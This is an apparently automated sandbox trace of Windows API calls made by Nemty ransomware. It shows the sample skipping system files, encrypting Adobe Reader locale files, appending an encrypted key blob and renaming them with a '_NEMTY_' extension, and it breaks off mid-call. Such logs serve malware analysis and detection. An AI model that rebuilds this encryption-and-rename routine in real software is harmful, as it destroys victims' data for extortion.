HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.477] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.HRV", cAlternateFileName="BRDLAN~1.HRV")) returned 1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2=".") returned 1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2="..") returned 1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2="...") returned 1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2="windows") returned -1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2="rsa") returned -1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2="NTDETECT.COM") returned -1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2="ntldr") returned -1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2="MSDOS.SYS") returned -1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2="IO.SYS") returned -1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2="boot.ini") returned 1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2="boot.ini") returned 1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2="ntuser.dat") returned -1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2="desktop.ini") returned -1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2="CONFIG.SYS") returned -1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2="RECYCLER") returned -1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2="BOOTSECT.BAK") returned 1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2="bootmgr") returned 1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2="programdata") returned -1 [0177.477] lstrcmpiW (lpString1="BRdlang32.HRV", lpString2="appdata") returned 1 [0177.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.HRV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.HRV", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.HRV", lpUsedDefaultChar=0x0) returned 13 [0177.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.HRV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.HRV", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.HRV", lpUsedDefaultChar=0x0) returned 13 [0177.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.HRV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.HRV", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.HRV", lpUsedDefaultChar=0x0) returned 13 [0177.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.HRV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.HRV", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.HRV", lpUsedDefaultChar=0x0) returned 13 [0177.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.478] Sleep (dwMilliseconds=0x5) [0177.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d6ec010, dwHighDateTime=0x1d561e8)) [0177.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d6ec010, dwHighDateTime=0x1d561e8)) [0177.479] GetLastError () returned 0x0 [0177.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.479] GetLastError () returned 0x0 [0177.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.479] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.479] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.479] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.479] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="NGkCrZTdQ6TVEzWlnUJAxIpM1fpRWnGSZtogurlYiahrNRuvC7ZY8FU4tAtVOWak\r\no1+6Lo3TpMmaO0oWIWWGI2I2MslfoHs8ZwDaAyTWq/3EE5yD0o5/PbvNJc6f9maF\r\nP2AxCGi/Fg9KGcmZQkP8ZoP3ysNVDUiFogrG463fI8sNdslKQFcrvOzmk7KIYt1L\r\nvnATieHw4V/Zq0P+ZPy4RJL4ueApyxLWJ/xEKiAGQXIZdgrrLd6rQJzJwXV1vC4o\r\nZIZpYGoWyVZ2wpD3pxJcMpQKG+zVs/5XIDCnKGg6S71/OAU+PBpFC0KLWFtSP5PL\r\npNBSKJx/5CIkfYR6F8RDBg==\r\n", pcchString=0x653e5dc) returned 1 [0177.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.480] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\BRdlang32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\brdlang32.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.480] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=13824) returned 1 [0177.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3600) returned 0x6352c48 [0177.480] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.480] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3600, lpOverlapped=0x0) returned 1 [0177.483] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.483] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3600, lpOverlapped=0x0) returned 1 [0177.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.483] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=13824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3600 [0177.483] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.483] CloseHandle (hObject=0x2e8) returned 1 [0177.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.483] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.483] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.484] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\BRdlang32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\brdlang32.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\BRdlang32.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\brdlang32.hrv._nemty_kgobjgd_")) returned 1 [0177.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.484] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.HRV", cAlternateFileName="")) returned 1 [0177.484] lstrcmpiW (lpString1="Checkers.HRV", lpString2=".") returned 1 [0177.484] lstrcmpiW (lpString1="Checkers.HRV", lpString2="..") returned 1 [0177.484] lstrcmpiW (lpString1="Checkers.HRV", lpString2="...") returned 1 [0177.484] lstrcmpiW (lpString1="Checkers.HRV", lpString2="windows") returned -1 [0177.484] lstrcmpiW (lpString1="Checkers.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.484] lstrcmpiW (lpString1="Checkers.HRV", lpString2="rsa") returned -1 [0177.484] lstrcmpiW (lpString1="Checkers.HRV", lpString2="NTDETECT.COM") returned -1 [0177.485] lstrcmpiW (lpString1="Checkers.HRV", lpString2="ntldr") returned -1 [0177.485] lstrcmpiW (lpString1="Checkers.HRV", lpString2="MSDOS.SYS") returned -1 [0177.485] lstrcmpiW (lpString1="Checkers.HRV", lpString2="IO.SYS") returned -1 [0177.485] lstrcmpiW (lpString1="Checkers.HRV", lpString2="boot.ini") returned 1 [0177.485] lstrcmpiW (lpString1="Checkers.HRV", lpString2="boot.ini") returned 1 [0177.485] lstrcmpiW (lpString1="Checkers.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0177.485] lstrcmpiW (lpString1="Checkers.HRV", lpString2="ntuser.dat") returned -1 [0177.485] lstrcmpiW (lpString1="Checkers.HRV", lpString2="desktop.ini") returned -1 [0177.485] lstrcmpiW (lpString1="Checkers.HRV", lpString2="CONFIG.SYS") returned -1 [0177.485] lstrcmpiW (lpString1="Checkers.HRV", lpString2="RECYCLER") returned -1 [0177.485] lstrcmpiW (lpString1="Checkers.HRV", lpString2="BOOTSECT.BAK") returned 1 [0177.485] lstrcmpiW (lpString1="Checkers.HRV", lpString2="bootmgr") returned 1 [0177.485] lstrcmpiW (lpString1="Checkers.HRV", lpString2="programdata") returned -1 [0177.485] lstrcmpiW (lpString1="Checkers.HRV", lpString2="appdata") returned 1 [0177.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.HRV", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.HRV", lpUsedDefaultChar=0x0) returned 12 [0177.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.HRV", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.HRV", lpUsedDefaultChar=0x0) returned 12 [0177.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.HRV", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.HRV", lpUsedDefaultChar=0x0) returned 12 [0177.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.HRV", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.HRV", lpUsedDefaultChar=0x0) returned 12 [0177.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.486] Sleep (dwMilliseconds=0x5) [0177.494] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d712170, dwHighDateTime=0x1d561e8)) [0177.495] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d712170, dwHighDateTime=0x1d561e8)) [0177.495] GetLastError () returned 0x0 [0177.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.495] GetLastError () returned 0x0 [0177.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.495] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.495] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.495] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.495] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="J7doBxG55195WTKDzkaXUnX8TlQqt6V+lilx0m+L1Yf39+EYKIFR49KiOrkMVFlZ\r\n4ElY052LS5oFy6fYTqa7pzr6+g0K0q4PDnYV3fGwGWqmtDQhd7VjbfnC87gqBo8m\r\nS7/XxIdVmpLnsw3jt+V4lCNXIy2PjHrPrc9FyX55zJ4UAzqZxHc7odHH4D3FWTtq\r\nTU4Zdqo131/p3cMcpmhOhNpGWbsZuFm1lQxjN4xW6Oioly3NMskSdIBEPrl48nPV\r\nFycg9Ak+Tw4aPsIXSXU/7utXq5swLzu/lrLECfpZwizmSZpcg7Kr9HVrFxhrBNaK\r\noj2CpyLJTvP+DI/KhhI4Aw==\r\n", pcchString=0x653e5dc) returned 1 [0177.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.495] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Checkers.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\checkers.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.496] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=125440) returned 1 [0177.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0177.496] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.496] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0177.505] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.505] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0177.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.505] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=125440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ea00 [0177.505] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.505] CloseHandle (hObject=0x2e8) returned 1 [0177.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.506] HeapFree (in: hHeap=0x4f90000, 